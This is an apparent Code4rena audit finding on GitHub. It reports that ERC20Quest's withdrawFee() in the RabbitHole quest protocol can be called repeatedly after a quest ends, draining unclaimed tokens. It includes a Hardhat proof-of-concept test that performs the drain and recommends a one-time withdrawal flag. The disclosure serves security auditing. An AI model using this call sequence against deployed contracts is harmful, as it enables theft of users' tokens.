code423n4 commented 1 year ago

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L96 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L76

Vulnerability details

Impact

Once the quest has ended, ERC20Quest#withdrawFee() can be called ad-infinitum always transferring protocolFeeRecipient a fixed amount of tokens on every call. This allows for any remaining tokens in the contract to be sent to the protocolFeeRecipient by any user. This adds a large and unnecessary amount of trust in protocolFeeRecipient, and also adds the ability for any malicious user to cause large inconveniences for the protocolFeeRecipient, the owner, and the participants that didn't claim after the end time was reached--in the cases where protocolFeeRecipient is not malicious. What this entails is the following:

If owner is not protocolFeeRecipient, anyone can front-run the owner's call to ERC20Quest#withdrawRemainingTokens and call ERC20Quest#withdrawFee() enough times to drain every token from the contract. Then it's up to protocolFeeRecipient's goodwill/ability to transfer back ERC20s to return the tokens. Assuming protocolFeeRecipient is malicious, both the owner and the participants that didn't claim will lose their tokens.
If owner is protocolFeeRecipient and there are unclaimedTokens in the contract, the owner can drain them--which is not the intended behavior.
There are other scenarios where a malicious user could also call ERC20Quest#withdrawFee twice, which would lead to a revert for the last participant that wants to claim his receipt as the contract may not have enough funds to perform the transfer. As well a malicious user can repeat this attack if protocolFeeRecipient were to send back the funds to the contract.

Proof of Concept

Here's a hardhat test that can be added to the current ERC20Quest tests showing that this works:

    it('should not allow the protocol to extract the fee multiple times, but it does', async () => {

      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)
        
      await deployedQuestContract.start()
      await ethers.provider.send('evm_increaseTime', [86400])

      // Quest ended, firstAddress forgot to claim. Unclaimed tokens = 1000
      await ethers.provider.send('evm_increaseTime', [100001])

      // Owner withdraws the non-claimable tokens
      await deployedQuestContract.withdrawRemainingTokens(owner.address)

      // We expect the contract to only have the unclaimed tokens from address one + protocol fee
      const unclaimedTokens = 1000

      const protocolFee = (1000 * questFee) / 10000

      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(
        unclaimedTokens + protocolFee
      )

      // The admin claims the fee
      await deployedQuestContract.withdrawFee()

      // Only the unclaimed tokens of first address should remain at this point
      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(unclaimedTokens)

      // Admin tries to drain the unclaimed tokens through the protocol fee.         
      // ProtocolFee is a constant 200

      // So admin has to perform five calls.
      await deployedQuestContract.withdrawFee()
      await deployedQuestContract.withdrawFee()
      await deployedQuestContract.withdrawFee()
      await deployedQuestContract.withdrawFee()
      await deployedQuestContract.withdrawFee()

      // If he succedeed, balance should be zero.
      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(0)
      
      // This passes.
      await ethers.provider.send('evm_increaseTime', [-100001])
      await ethers.provider.send('evm_increaseTime', [-86400])

    })

Tools Used

Hardhat

Recommended Mitigation Steps

Add a state variable that tracks whether protocolFee has been withdrawn or not to ensure it can only be withdrawn once.

c4-judge commented 1 year ago

kirk-baird marked the issue as duplicate of #23